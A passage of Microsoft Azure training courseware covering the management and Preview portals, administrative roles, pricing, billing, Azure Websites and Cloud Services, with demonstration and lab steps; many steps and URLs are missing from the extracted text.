Additional Reading: For a full list of services currently available in Azure, go to the
Microsoft Azure website at.
Lesson 3
Managing Azure
Azure provides web-based portals in which you can provision and manage your organizations Azure
subscriptions and services. These portals provide the initial environment in which you will work with
Azure, and it is important to know how to navigate and use the portals to manage Azure services.
Lesson Objectives
After completing this lesson, you will be able to:
The Azure management portal consists of a page for each Azure service. It also includes an All Items page
in which you can view all provisioned services in your subscriptions, and a Settings page in which you can
configure subscription-wide settings.
Provisioning Services
You can provision a new instance of a service by clicking the New button on any page. Most services
provide a dialog box in which you can enter the user-definable settings for the service before creating it.
Service provisioning is performed asynchronously, and an indicator at the bottom of the page shows
current activity. You can expand this indicator to show a list of completed and in-process tasks.
Managing Services
Your provisioned services are listed on the All Items page and on each service-specific page. The list shows
the name, status, and service-specific settings for each service. You can click a service name in the list to
view the dashboard for that service instance, where multiple tabbed sub-pages enable you to view and
configure service-specific settings. In most cases, you make changes to a service by using the dynamic
toolbar of context-specific icons at the bottom of the sub-page.
Adding Co-Administrators
When you provision an Azure subscription, you are automatically designated as the administrator for
that subscription, and you can manage all services and settings for the subscription. You can add coAdministrators in the Settings tab of the management portal by specifying the email address of each user
to whom you want to grant administrative privileges.
Note: The email account is the Microsoft account assigned to the user.
Startboard. The home page for your Azure environment, conceptually similar to the Start screen in
Windows. You can pin commonly used items to the Startboard to make it easier to navigate to them.
By default, the Startboard includes tiles that show global Azure service health, a shortcut to the Azure
gallery of available services, and a summary of billing information for your subscriptions.
Blades. Panes in which you can view and configure details of a selected item. Each blade is displayed
as a pane in the user interface, and it often contains a list of services or other items that you can click
to open another blade. In this way, you can navigate through several blades to view details of a
specific item in your Azure environment. These navigations through blades are referred to as journeys.
You can maximize and minimize some blades to optimize screen real estate and simplify navigation.
Hub Menu. A bar on the left side of the page, which contains the following icons:
o
Home. Returns the page to the left so that the Hub Menu and Startboard are visible.
Notifications. Opens a blade on which you can view notifications about the status of tasks.
Journeys. Lists recent blades that you have viewed, enabling you to quickly navigate back to
them.
Billing. Provides details of charges and remaining credit for your subscriptions. Billing is also
available on a resource group basis.
You can switch to the Preview portal from the existing portal by clicking your account name and then
clicking Switch to new portal. Conversely, to switch to the existing portal from the Preview portal, click
the Azure Portal tile in the Startboard.
Demonstration Steps
Use the Azure Management Portal
1.
2.
Start Internet Explorer, browse to, click Portal, and sign in using the
Microsoft account that is associated with your Azure subscription.
3.
On the left side of the page, note the pane that contains icons for each service. Then, at the bottom
of this pane, click SETTINGS (you may need to use the scroll bar for the pane).
4.
On the settings page, on the SUBSCRIPTIONS tab, note the details of your subscription; click the
ADMINISTRATORS tab and verify that your Microsoft account is listed as the service administrator;
and then click the AFFINITY GROUPS tab and note that this is where you can add affinity groups to
your subscription.
5.
In the services pane on the left, click STORAGE, and at the bottom of the page, click NEW. Then, in
the panel that appears, click QUICK CREATE, enter the following details, and click CREATE STORAGE
ACCOUNT:
o
LOCATION / AFFINITY GROUP: Select the location that is closest to your geographic location
6.
At the bottom of the page, note the Active Progress indicator, which is animated to show that an
action is in progress.
7.
On the storage page, wait for your storage account status to become Online. Then click the name of
your storage account.
8.
On the page for your storage account, note the getting started information. Then view each of the
tabs for the storage account, noting that the context-aware tool bar at the bottom of the page
changes to reflect the current tab.
9.
Click the Back icon on the left to return to the storage page. Then click ALL ITEMS and note that the
storage account is listed on this page.
At the top right of the Microsoft Azure management portal, click your Microsoft account name, and
then click Switch to new portal. This opens a new tab in Internet Explorer.
Note: If the Welcome to Microsoft Azure dialog box appears, click Get started.
2.
When the new portal is loaded, view the tiles in the Startboard, noting the service health of the Azure
datacenters and the billing status for your subscription.
3.
Click the Service health tile, and in the resulting Service health blade, note the status for the
individual Azure services, and then click Storage.
4.
On the Storage blade, note the status for each region, and then click the region in which you
previously created a storage account.
5.
Review the status of the storage service in your selected region, and then on the Hub Menu, click
HOME. Note that the page scrolls to view the Startboard, but the blades that you opened remain
open.
6.
In the Hub Menu, click BROWSE, and then click Storage. Note that the currently open blades are
replaced with a new blade that shows your storage accounts.
7.
On the Storage blade, click your storage account, and on the blade that is opened, view the details of
your storage account, noting that it has been automatically assigned to a resource group named
Default-Storage-SelectedRegion.
8.
At the top of the blade for your storage account, click the Pin blade to Startboard icon and note
that a tile for this blade is added to the Startboard.
9.
On the Hub Menu, click JOURNEYS, and in the list of journeys, click Service health. Then close the
Journeys pane and note that the blades you opened to check the status of the storage service in
your selected region are reopened.
10. On the Hub Menu, click NEW, and in the New pane, click Website. Then in the Website blade, enter
the following settings, and click Create:
o
RESOURCE GROUP: Click the default resource group name, and then click Create a new resource
group. Then on the Create resource group blade, enter the name Demo-Web-App and click OK.
LOCATION: Click the default location, and then select the location nearest to you.
11. Wait for the website to be created, and then in the blade for the website (which opens automatically
after the website is created), note the information about the new website.
12. In Internet Explorer, switch to the tab containing the full Azure portal, and refresh the page. Note that
the website you created in the new portal is listed in the all items page.
Client Tools
The Azure portals provide a graphical user
interface for managing your Azure subscriptions
and services, and in many cases, these are
the primary management tools for service
provisioning and operations. However, it is
common to want to automate Dev/Ops tasks
by creating re-usable scripts, or to combine
management of Azure resources with
management of other network and infrastructure
services.
You can use Visual Studio, SQL Server
Management Studio, and Windows PowerShell to
manage some aspects of your Azure subscription and services.
Developers can use Azure Tools for Visual Studio to develop Azure projects. Examples include the
development of Azure cloud and mobile services, and ASP.NET web applications. Developers can use the
tools to run and debug projects locally before they publish them to Azure.
Additional Reading: The Azure Tools are part of the Azure SDK for .NET, which you can
download from Microsoft Azure Downloads:.
You can use SQL Server Management Studio to connect to an Azure SQL Database Server and manage it
in a way similar to how you manage SQL Server instances. The ability to manage SQL Server instances and
SQL Database servers by using the same tool is useful in hybrid IT environments. However, many of the
graphical designers in SQL Server Management Studio are not compatible with SQL Database, so you
must perform most tasks by executing Transact-SQL statements.
Note: You also can use the SQLCMD command-line tool to connect to Azure SQL Database
servers and execute Transact-SQL commands.
Windows PowerShell
Windows PowerShell provides a scripting platform for managing Windows. You can extend this platform
to a wide range of other infrastructure elements, including Azure, by importing modules of encapsulated
code called cmdlets.
Azure PowerShell is the primary PowerShell library for managing Azure services, and you can install it by
using the Microsoft Web Platform Installer.
Additional Reading: You can find a link to the latest version of Azure PowerShell at.
In many cases, you will need only the Azure PowerShell library. The Azure PowerShell module has a
dependency on the Microsoft .NET Framework 4.5, and the Web Platform Installer checks for this during
installation.
Note:.
Lesson 4
Lesson Objectives
After completing this lesson, you will be able to:
Administrative Roles
There are three Azure administrative roles. These are:
Account administrator. There is one account administrator for each Azure account. The account
administrator is allowed to access the Account Center. This enables the account administrator to
create subscriptions, cancel subscriptions, change billing for a subscription, or change Service
Administrator, among other tasks.
Note: The Account Administrator for a subscription is the only person who has access to
the Account Center. They do not have any other access to services in that subscription.
Additional Reading: You can access the Azure Account Center from the Microsoft website:.
Service administrator. There is one service administrator for each Azure subscription. The service
administrator is able to access the Azure Management Portal for all subscriptions in the account. By
default, the user account associated with this role is the same as the Account Administrator when
your subscription is created.
Co-administrator. You can have up to 200 co-administrators for each Azure subscription. This role
has the same functions as the Service Administrator, but it cannot change the association of
subscriptions to Azure directories.
Demonstration Steps
1.
In Internet Explorer, in the Microsoft Azure management portal, in the navigation pane, click
SETTINGS.
2.
3.
4.
In the Specify a co-administrator for subscriptions dialog box, in the EMAIL ADDRESS box, type
User1@Contoso.com.
5.
Select the check box next to your subscription in the SUBSCRIPTION list below, and then click OK
(the check box).
Azure Pricing
At the time of writing, there are three pricing
options. These are:
Buy from a Microsoft Reseller. To work with the same resellers from whom you currently purchase
Microsoft software under the Open Volume License Program, you can select this option. You must
purchase Azure in Open credits from your vendor. You can then activate your subscription using
those credits. You can apply Azure in Open Licensing credits towards any Azure Service that is eligible
for monetary commitments, when purchased online. Services that are not eligible for use with
monetary commitments, such as Azure Rights Management Services and Azure Active Directory
Premium, cannot be procured using Azure in Open.
Additional Reading: For further information about this plan, visit the Azure website:.
Enterprise agreements. This option is best suited to large organizations that sign an Enterprise
Agreement (EA) and make an upfront commitment to purchase Azure services. Customers who select
this option can use the Enterprise Portal to administer their subscription. Customers are also billed
annually, based on their services usage. This can make it easier to accommodate unplanned growth.
Additional Reading: For more information about licensing Azure in the Enterprise, visit the
Azure website:.
Microsoft also provides a number of benefits to members of specific programs, such as MSDN, the
Microsoft Partner network, and BizSpark:
Partner. Partners receive monthly credits toward their Azure subscription and receive access to
resources to help expand their cloud practice.
Additional Reading: For more information about members benefits, visit the Microsoft
Azure website:.
Additional Reading: The Azure pricing website can be accessed at:.
Pricing Calculator
When you plan the cost of your Azure
subscription, you can use the Microsoft Azure
pricing calculator. Within the calculator are nodes
for determining the cost of the various Azure
services. These are:
Websites
Virtual machines
Mobile services
Cloud services
Data management
To calculate your Azure subscription cost, select the appropriate node, and then adjust the parameters of
the service that you require. You can configure the following parameters for each of the nodes:
Websites. Select between Free, Shared, and Standard models, and then configure the required sites,
virtual machines, bandwidth, and support options to determine the cost.
Virtual machines. Select between Windows, Linux, SQL Server, BizTalk Server, and Oracle Software
virtual machine types, and then configure the size, bandwidth, and support options.
Mobile services. Choose between Free, Basic, and Standard mobile services, and then select the
appropriate SQL Server database size, the appropriate bandwidth, the notification hubs, and the
support options.
Cloud services. Choose the size of your Web and Worker role instances, SQL database size,
bandwidth, and support options to determine the expected cost.
Data management. Select between Locally redundant, Zone redundant, Geo redundant, and Readaccess Geo redundant options. You can then choose the appropriate level for import and export,
backup size, site recovery options, SQL database number and sizing, machine learning, cache options,
bandwidth, and support. The calculator will then determine the likely cost.
You can also use the full calculator node for more complex Azure subscriptions. This node enables you to
select individual services and their configuration options from across all available Azure services.
Once you have selected and configured your Azure subscription services, you can proceed to purchase
and provision the subscription.
Billing Workspace
You can view and manage the charges for your
Azure subscription from either the portal or the
Preview portal.
From within the portal, on the OVERVIEW tab, you
can view the following information:
Download usage details. You can download your usage history into a CSV file. Selecting this option
moves the focus to the BILLING HISTORY tab.
Edit subscription details. Enables you to change the subscription name and associated service
administrator email account name. We recommend that you do this.
Change subscription address. You can change the subscription billing address.
You can use the BILLING HISTORY tab to review previous usage and view your current status.
Note: You access the billing workspace from the main Azure portal. Click your account
name in the Azure portal window, click View my bill, and then select your subscription. To access
the billing workspace from the Preview portal, click BILLING in the navigation pane.
Additional Reading: For further information on interpreting your Azure bill, visit the Azure
website:.
Demonstration Steps
1.
In Internet Explorer, at the top right of the Microsoft Azure management portal, click your Microsoft
account name, and then click View my bill. This opens a new tab in Internet Explorer. If prompted,
sign in using the Microsoft account credentials associated with your Azure subscription.
2.
On the subscriptions page, click your subscription. Then review the summary of usage and billing
that is displayed.
3.
At the top right of the Microsoft Azure management portal, click your Microsoft account name, and
then click Switch to new portal. This opens a new tab in Internet Explorer.
4.
5.
In the Billing list, click your subscription name. A summary screen appears. If you receive an error, try
this step again.
6.
To start investigating the use of Microsoft Azure to provide cloud-based services, you have decided to
familiarize yourself with the Azure Portal.
Objectives
After completing this lab, you will be able to:
2.
Add a co-administrator.
2.
If necessary, start Internet Explorer, browse to, click Portal, and sign in
using the Microsoft account that is associated with your Azure subscription.
2.
3.
Results: After you complete this exercise, you should have successfully added a co-administrator to your
Azure subscription.
2.
1.
In Internet Explorer, at the top right of the Microsoft Azure management portal, click your Microsoft
account name, and then click View my bill.
2.
If necessary, sign in with the Microsoft account associated with your subscription.
3.
On the subscriptions page, click your subscription. Then review the summary of usage and billing
that is displayed.
2.
3.
Results: After you complete this exercise, you should have successfully viewed your Azure subscription
billing data.
Module 2
Websites and Cloud Services
Contents:
Module Overview
2-1
2-2
2-8
2-13
2-21
2-25
Module Overview
Microsoft Azure provides a specialized website service that you can use to host any website without
having to configure a virtual machine or associated platform software. If you create an Azure website, you
can choose from a wide range of common web apps, including WordPress, Drupal, and Umbraco.
Alternatively, you can upload a custom web app from Visual Studio 2013 or another web developer tool.
To host applications in Azure, you can use Platform as a service (PaaS) as an execution model. Cloud
services provide a platform that can host web apps and web services. Cloud services use a modular
architecture that enables you to scale your application to the largest desired sizes while possibly
minimizing costs. This module describes the Azure Websites service and Azure Cloud Services.
Objectives
After completing this module, you will be able to:
Lesson 1
In this lesson, you will learn about Azure Websites and how this differs from PaaS cloud services and web
apps hosted on Azure Virtual Machines. You also will learn how to create and configure Azure Websites.
Lesson Objectives
After completing this lesson, you will be able to:
Describe Azure Websites, and compare it with Azure Virtual Machines and Azure Cloud Services.
Explain how to configure and scale a website using the Azure portal.
Virtual Machines
Azure Websites
Instead of using Virtual Machines, alternatively, you can choose to host your web app in the Azure
Websites service. Azure Websites is a fully managed PaaS cloud service that enables you to quickly build,
deploy, and scale enterprise-grade web apps.
Note: Azure Websites also supports Azure Webjobs. Webjobs enables you to schedule
regular jobs and batch jobs easily.
After you create a new Azure website, you can either upload a custom web app or choose from a wide
range of popular general purpose web apps, including Drupal, Word Press, Umbraco, and others. You can
build custom web apps to host in Azure Websites by using ASP.NET, Node.js, PHP, and Python.
You can scale up an Azure website by changing tiers.
Note: Azure Websites is offered in four tiers: Free, Shared (Preview), Basic, and Standard.
Each tier provides for differing numbers of websites, supports different storage capacities, and
meets many other performance-affecting criteria.
Additional Reading: To learn more about the four tiers, go to the Microsoft Azure
Websites Pricing Details webpage:.
Scaling up increases the traffic a single instance of the site can service. Alternatively, you can scale out by
installing a website in multiple instances, and by using Azure load balancing or Azure Traffic Manager to
distribute traffic. However, you can only scale the website as a single component. You also cannot gain
Remote Desktop Protocol (RDP) access to the web server. You can use Azure SQL Database or SQL Server
on a virtual machine to host an underlying database.
Cloud Services
You also can choose to build a web app as an Azure PaaS cloud service. A PaaS cloud service consists of at
least one web role, which includes the applications user interface, and one or more worker roles, which
run background tasks. Because you can scale each role independently by specifying the number of role
instances, you have a large degree of control over scalability with PaaS cloud services. You can connect to
the web servers that host your PaaS cloud service by using RDP.
Note: The last lesson of this module discusses Azure Cloud Services.
Custom Create. If you plan to migrate an existing site, this option enables you to create or associate a
SQL database or MySQL database. Custom Create also provides you with the ability to specify
multiple source control options for your website deployment, such as GitHub or Microsoft Team
Foundation Server.
From Gallery. This option enables you to create a new website with one of several frameworks, such
as WordPress. This is helpful, because you can quickly create your new website, which you then can
customize within the selected framework.
Creation Options
Irrespective of the option you choose to create the website, you must configure a number of options
during creation. These options are:
URL. This is the URL by which your website is known and accessed. You must specify a unique name.
Web hosting plan. If you have an existing web hosting plan, you can select it. Alternatively, you can
choose to create a new web hosting plan.
Note: In the Preview portal, you can select from predefined hosting plans within the UI.
Region. Azure has multiple global regions. When you deploy your website to any one region, it is
accessible globally on the Internet, but multiple regions provide for greater flexibility. For example,
you can deploy sites in regions that are closest to the users of that site.
Note: The Region field is referred to as Location in the Preview portal.
Monitor. Provides more detailed statistics about website usage, requests, and errors.
General. This includes the .NET Framework version, PHP version, Java version, Python version,
managed pipeline mode, platform, web sockets, and always on.
Certificates. Enables you to configure and manage certificates used for SSL encryption.
Domain names. You can assign your own custom website domain name. Azure initially assigns
one with the suffix azurewebsites.net. For example, if you used the name Contoso, the URL would
be Contoso.azurewebsites.net. If you want to use Contoso.com, you can configure that with the
domain names option.
SSL bindings. Enables you to configure how you use SSL with your domain names.
Application diagnostics. You can enable and configure options for application logging.
Site diagnostics. You can enable and configure options for web server logging.
Default documents. Specifies which default documents are used on your website. For example,
Default.html and Index.htm.
Virtual applications and directories. Enables you to define virtual directories and their relative
paths within your website.
Note: Some of these options only become available with certain scaling options.
Changing your Web Hosting Plan mode to a higher level of service, or tier.
Configuring certain settings after you have switched to the higher level of service.
You can configure a number of website options to scale your website, including:
o
Web hosting plan mode. This option allows you to choose between the Free, Shared, Basic, and
Standard hosting plan modes. Each of the plan modes supports a different set of features and
capabilities.
Plans in the Free and Shared modes run on a shared infrastructure with sites other customers
create. These sites will have strict quotas for resource utilization.
Plans in the Basic and Standard modes run on resources that are dedicated to your sites, and
have fewer restrictions.
Capacity. This option enables you to define the instance count and size. Options available
depend upon the selected web hosting plan mode.
Plans in the Free and Shared modes support limited capacity tuning.
The Basic mode enables you to choose between three instance sizes:
The Standard mode enables you to choose between the same instance sized as basic, but
additionally, you can configure:
The scaling metric (none or CPU). If you choose CPU, you must configure the thresholds for
automatic scaling to occur and the number of resultant instances.
Linked Resources. You can use this option to link resources such as databases and storage to your
website.
Backups. You can only back up the website in the standard web hosting plan. You can configure an
automated backup and an associated schedule.
The procedure and options available for configuring your website from the Preview portal are different.
From within the Preview portal, from the navigation bar on the left, click BROWSE, and then click
Websites. Select the appropriate website from the returned list in the Websites blade on the right. In the
blade for the selected website, you can view summary, monitoring, and usage data. On the toolbar, click
More. You can change and then reset the publish profile, get the publish profile, and change the web
hosting plan.
Note: You can also create a new web hosting plan. You can choose between several pricing
tiers to select the plan that best suits your requirements.
Demonstration Steps
Create a new website in Azure by using the Preview portal
1.
2.
Connect to the portal, and sign in using the Microsoft account that is associated with your Azure
subscription.
3.
4.
5.
Type a valid unique website name. For example, type Contoso####, where #### is a unique number.
Note: If the name is valid and unique, a green smiley face is displayed.
6.
When the website creation is complete, in the website blade, click Browse. Internet Explorer shows
the default webpage.
2.
Close the Internet Explorer tab, and then close the tab containing the new portal, keeping the portal
tab open.
2.
Select WEB SITES, and in the web sites pane, click your new website.
3.
4.
5.
6.
7.
8.
Click DISCARD.
9.
Lesson 2
Once you have created your Azure Website, you then can create and publish the content that you want to
make available in the new website. You have several options for creating and publishing content to an
Azure Website. After you have created and published the website content, you must deploy the website
to make it available to your users. This lesson describes the processes for creating, publishing, and
deploying website content to Azure websites. It also describes the options that you can use to monitor
those websites.
Lesson Objectives
After completing this lesson, you will be able to:
Visual Basic
Visual C#
Visual C++
Visual F#
JavaScript
Additional Reading: Visual Studio 2013 is available in several different editions. For more
information about these editions, go to the Compare Visual Studio Offerings website:.
Microsoft WebMatrix. This tool is available for download from within the Azure portal. It enables you
to create, publish, and maintain your Azure websites. It supports a range of programming languages
and provides a simple interface for website deployment.
To create a website using WebMatrix, start WebMatrix, and then sign into Azure with your
subscription account. You can then click the option New, and use a range of templates to create and
deploy your website. A variety of templates is provided, including:
o
Empty site
Starter site
Bakery
Photo gallery
Personal site
Once you have created the website using WebMatrix, you can easily publish it to your production
Azure website.
Additional Reading: You can find more information about WebMatrix from the
WebMatrix website:.
The Azure website gallery. You can use the Gallery to create and publish your website content when
you create your Azure website. To do this, when you initially create your website in the Azure portal,
click the FROM GALLERY option. You then can select from a range of templates that best suit the
purpose of your website. You can select from templates are provided in a number of categories,
including:
o
You can also select from many other website templates, including templates that are focused on
particular businesses. There is, for example, a coffee shop website template, a bakery template, and
templates for personal websites and photo galleries. Once you select the appropriate template, Azure
presents you with a wizard interface to complete the creation process.
Create your app. To create the app, launch Visual Studio and choose to create a New Project. You can
then select the type of app that you wish to use on your website, for example, an ASP.NET web app.
The subsequent options that you must configure vary depending upon the type of app you initially
select, but might include:
o
No authentication
Organizational accounts
Windows Authentication
Host in the cloud/Create remote resources. This option varies, depending upon the edition of
Visual Studio. You can use this option to create the website during the publish process. It is
enabled by default. If you choose to create the website during publishing, you must define the
site name, region, and database options.
Note: It is not necessary for you to create your website within the Azure portal before you
create the app. Visual Studio can create your website when you publish it. Alternatively, you can
publish to an existing website.
Deploy the app to Azure. After you have created your app, you can publish it to Azure by using the
Publish Web Wizard, which appears automatically. You must specify the server name and port, site
name, user credentials to authenticate with the website, and the destination URL.
Note: You can use the Preview option to view your website app before you actually publish
the app.
After you have published your website app, you will need to maintain the content. You can use Visual
Studio to make any required changes to the website app, and then publish those changes to the
production environment.
Additional Reading: You can read more about how to use Visual Studio to publish
ASP.NET websites on the Get started with Azure Websites and ASP.NET webpage:.
Deploy websites from development environments to staging and production web servers.
Web Deploy is sometimes compared with other deployment tools, such as FTP, RoboCopy, and XCOPY.
Note: FTP is an older but widely used protocol for uploading web apps to web servers.
Web Deploy offers a number of benefits over these other technologies, including:
Security. Web Deploy supports publishing over HTTPS. It also supports configuring permissions on
files.
Convenience. Web Deploy can publish databases to SQL Server, MySQL Server, and other databases.
Monitoring Websites
Running websites consume resources and incurs
costs. The websites also might generate errors, for
example, if users request webpages that do not
exist. You can use the Monitoring node within the
Azure portal to check resource consumption. By
doing this, you can better plan for increasing, or
decreasing, website usage.
From within the portal, select the appropriate
website, and then click on the MONITOR tab.
You can use the ADD METRICS option to enable
additional monitoring options. The following list
describes the metrics that you can view in the
chart on the Monitor page:
Http Client Errors. Number of Http "4xx Client Error" messages sent.
Http Server Errors. Number of Http "5xx Server Error" messages sent.
Http 404 errors. Number of Http "404 Not Found" messages sent.
Http 406 errors. Number of Http "406 Not Acceptable" messages sent.
Receiving Alerts
In Standard website mode, you can enable and receive alerts based on the selected website monitoring
metrics. To enable alerts, you must first configure a web endpoint for monitoring. You can do this in the
Monitoring section of the CONFIGURE page. On the SETTINGS page of the portal, you then can create a
rule to trigger an alert when the metric you choose reaches a value that you specify. You can also choose
to have an email sent when the alert is triggered.
Lesson 3
Azure provides three execution models for applications: Virtual Machines, Websites, and cloud services. In
this lesson, you will see how Azure Cloud Services differ from Azure Websites and Azure Virtual Machines.
You will also see how to configure Cloud Services and deploy the cloud service code your developers
create.
Lesson Objectives
After completing this lesson, you will be able to:
Cloud service role. Comprises application files and configuration data. A cloud service can have two
types of roles:
o
Web role. Provides a dedicated IIS webserver that hosts front-end web apps.
Worker role. Apps hosted within worker roles can run asynchronous, long-running, or perpetual
tasks that require no user input or interaction.
Role instance. A virtual machine on which your application code and role configuration run.
Note: A role can have multiple instances, defined in the service configuration file.
Guest operating system. This is the operating system installed on the role instances (virtual machines)
on which your app code runs.
Cloud service components. To deploy an app as a cloud service in Microsoft Azure, the following
three components are necessary:
o
Service definition file. This file, known as a .csdef file, defines the service model.
Service configuration file. The .cscfg file provides configuration settings for your cloud service and
individual roles.
Service package. The .cspkg file contains your app code and the service definition file.
Cloud service deployment. This is an instance of a cloud service deployed to the Azure staging or
production environment.
Note: You can maintain deployments in both staging and production.
Deployment environments. Microsoft Azure offers two deployment environments for cloud services:
o
A staging environment. Environment in which you can test your deployment before you promote
it to the production environment. In this environment, your cloud service's GUID identifies it in
URLs (GUID.cloudapp.net).
A production environment. The production environment URL is based on the domain name
system (DNS) prefix assigned to your cloud service (for example, myservice.cloudapp.net).
Note: The two environments are distinguished only by the virtual IP (VIP) addresses by
which the cloud service is accessed.
To promote a deployment in the staging environment to the production environment, you can swap
the deployments. You do this by switching the VIP addresses by which the two deployments are
accessed.
Minimal monitoring uses performance counters gathered from the host operating systems for
role instances (virtual machines). This is enabled by default for a cloud service.
Verbose monitoring collects extra metrics from performance data in the role instances. This
enables you to perform closer analysis of activities and problems that occur during app
processing.
Azure Diagnostics. Enables you to collect diagnostic data from apps running in Azure.
Note: You must enable Azure Diagnostics for cloud service roles for verbose monitoring to
be available.
Link a resource. To show your cloud service's dependencies on other resources, such as an Azure SQL
Database instance, you can link the resource to the cloud service.
Scale a cloud service. You can scale out a cloud service out by increasing the number of role instances
(virtual machines) deployed for a role. Conversely, you can scale in a cloud service by decreasing role
instances.
Azure Service Level Agreement (SLA). This guarantees that, when you deploy two or more role
instances for every role, access to your cloud service is maintained at least 99.95 percent of the time.
Even though your applications run in virtual machines, Azure Cloud Services provide PaaS, not IaaS. Cloud
Services are therefore different from hosting your applications in Azure Virtual Machines. With Azure
Virtual Machines, first you create and configure your applications environment, and then you deploy your
application into that environment.
With Cloud Services, the environment already exists. All you must do is deploy your application. With
Cloud Services, you provide a configuration file that tells Azure how many virtual machines you require
for your application; for example, two web role instances and three worker role instances. The Azure
platform creates those for you.
Note: You still define the size of those virtual machines; the options are the same ones
offered in Azure Virtual Machines. However, you do not explicitly create the virtual machines
yourself.
Load Balancing
If your application begins to support a higher load, you can request more virtual machines. Azure creates
those additional instances. If the load on your application reduces, you can shut down those instances.
Although both Azure Websites and Azure Virtual Machines enable you to create web apps on Azure, the
main advantage of Azure Cloud Services is its ability to support more complex multi-tier architectures.
Additional Reading: For a more detailed comparison of these components, visit the Azure
Web Sites, Cloud Services, and Virtual Machines comparison webpage:.
Note: If you define at least two instances of every role, the maintenance tasks, including
your own service upgrades, are performed without any interruption in service.
If you do not have significant experience working with Azure Cloud Services, you can download templates
that you can use to help with the creation of the deployment files.
Additional Reading: The code samples are available at the Microsoft Azure code samples
webpage:.
After you have installed the Azure SDK, use the following procedure to create a cloud service:
1.
2.
Note: You can also create a cloud service by using the CUSTOM CREATE option, so that
you can choose the option to deploy a cloud service package during creation.
3.
Enter the URL that your cloud service will use. The URL format for production deployments is.
4.
Enter the Region or Affinity Group. This configures the geographic region or affinity group to which
you will deploy the cloud service.
Note: You must have already created the affinity group. To create an affinity group, in the
portal, open the Networks area, click Affinity Groups, and then click Create.
5.
Note: If any roles in your cloud service require a digital certificate for data encryption using
Secure Sockets Layer (SSL), and you have not uploaded the certificate, you must upload the
certificate before you can deploy your cloud service.
After you have successfully created your cloud service, you must deploy it. Use the following procedure to
deploy your cloud service:
1.
2.
Click Cloud Services, and then select the cloud service that you want to deploy. Click Dashboard.
3.
Click either Production or Staging. If you choose to use the Staging environment, you can test your
cloud service before you deploy it to the production environment.
Note: When you are ready to promote your staged cloud service to the production
environment, use Swap to redirect client requests to that deployment.
4.
b.
Browse and select the service package file (.cspkg) for the cloud service.
c.
Browse and select the service configure file (.cscfg) for the cloud service.
d.
Select the Deploy even if one or more roles contain a single instance check box if your cloud
service includes any roles with only one instance.
Note: Azure only guarantees 99.95 percent access to the cloud service during maintenance
and service updates if every role has at least two instances.
5.
Click OK.
After you perform the above steps, your cloud service should be available in the either the production or
staging environment.
Virtual Machines. When you scale an application running Virtual Machines, virtual machines are
turned on or off from an availability set of previously created machines.
Note: Scaling is not automatic, and you must keep the instances of the virtual machines in
sync with one another or else they will become non identical over time. Additionally, when you
must upgrade websites in this scenario, it will be challenging to apply the upgrade to all of the
machines at the same time.
Add virtual machines to an availability set before they are available for scaling. The virtual machines
can be on or off when you create them. When you scale up, additional virtual machines from your
availability set are turned on. Conversely, when you scale down, virtual machines are turned off.
Note: These virtual machines are not only turned off, but de-allocated. This ensures that
you do not pay for the resources that these virtual machines consume.
Core usage affects scaling. Larger role instances use more cores, but you can only scale your
application within the limit of cores for your subscription.
For example, if your subscription has a limit of 30 cores and you run an application with three
medium-sized virtual machines (a total of six cores), you can only scale up other cloud service
deployments in your subscription by 24 cores.
Note: All virtual machines in an availability set that are used in scaling your application
must be the same size.
Create a queue and associate the queue with a role or availability set. You must do this before you
can scale your application based on a message threshold.
Deploy two or more role instances to enable high availability. You must ensure that your application
is deployed with two or more role instances or virtual machines to enable high availability for your
application.
Manually scale an application running Web Roles or Worker Roles. If necessary, disable automatic
scaling, and then configure the instance count for each of the roles in your cloud service.
Note: You can only increase the number of instances used if the appropriate number of
cores are available to support those instances.
Automatically scale an application running Web Roles, Worker Roles, or Virtual Machines. You can
configure automatic scaling based on two properties:
o
CPU. If the average percentage of CPU usage goes above or below specified thresholds, Azure
creates or deletes role instances, or turns virtual machines on or off from an availability set.
Queue. If the number of messages in a queue goes above or below a specified threshold, Azure
creates or deletes role instances, or Azure turns on or off virtual machines from an availability set.
Note: Automatic scaling is disabled by default for all roles.
Scale linked resources. Typically, when you scale a role, it can be beneficial to scale any database that
your application is using. If you link the database to your cloud service, you can change the SQL
Database edition and resize the database as required. If you do not scale linked resources, you run
the risk of causing problems with the linked resource, such as capacity in a database.
Schedule the scaling of your application. You can configure the following schedule options:
No schedule. This enables your application to be scaled automatically at all times.
Day and night. This option enables you to specify scaling for specific times of the day and night.
Demonstration Steps
Create a new cloud service
1.
If necessary, open Internet Explorer, and browse to, click Portal, and
sign in using the Microsoft account that is associated with your Azure subscription.
2..
2.
b.
Drag the INSTANCE RANGE slider bar right so that the maximum instance(s) value is 4.
c.
d.
e.
Drag the INSTANCE RANGE slider bar right so that the maximum instance(s) value is 4.
f.
Drag the TARGET CPU slider bar so that the maximum is 90.
g.
Click SAVE.
h.
You require a blog for the A. Datum website and have decided that this would be an ideal time to test the
functionality of Microsoft Azure Websites. You also would like to test the use of Azure Cloud Services to
contain virtual machines.
Objectives
After completing this lab, the students will have:
Lab Setup
Estimated Time: 60 minutes
Sign in to your classroom computer by using the credentials your instructor provides.
Before you start this lab, ensure that you have a trial Azure subscription.
Note: To complete the lab in this module, you must have completed the labs in all
preceding modules in this course.
Your users have suggested that they would like to be able to post blog articles to a corporate website.
You have decided to host this website on Azure. In this exercise, you will create a website to host
WordPress blogs, and then test the website by posting articles to the site.
The main tasks for this exercise are as follows:
1.
Create a website.
2.
Install WordPress.
3.
Start Internet Explorer, and browse to, click Portal, and sign in using
the Microsoft account that is associated with your Azure subscription.
2.
b.
c.
In the ADD WEB APP Wizard, on the Find Apps for Microsoft Azure page, click BLOGS.
d.
e.
On the Configure Your App page, in the URL box, type AdatumBlog####, where #### is a
unique number. If your URL is unique, a green check mark displays.
f.
g.
h.
i.
j.
Select the I agree to ClearDBs legal terms check box, and then click Complete.
Note: Your website is created. This may take a few minutes.
1..
In the Username box, type the email address associated with your Azure subscription.
b.
c.
Select the Remember Me check box, and then click Log In.
Note: If prompted by Internet Explorer to store the password for the website, click Not for
this site.
2.
b.
On the Add New Post page, in the Enter title here box, type Welcome to the Adatum Blog.
c.
d.
Click Publish.
3.
4.
Close the current tab in Internet Explorer, and return to the Azure portal tab.
Results: After you complete this exercise, you will have successfully created and configured an Azure
website to support WordPress blogs.
2.
3..
b.
Drag the INSTANCE RANGE slider bar right so that the maximum instance(s) value is 4.
c.
Drag the TARGET CPU slider bar so that the maximum is 90.
d.
e.
Drag the INSTANCE RANGE slider bar right so that the maximum instance(s) value is 4.
f.
g.
Click SAVE.
Review the list of cloud services in the Azure portal, and then click the URL for your cloud service. The
Adatum Ads webpage displays.
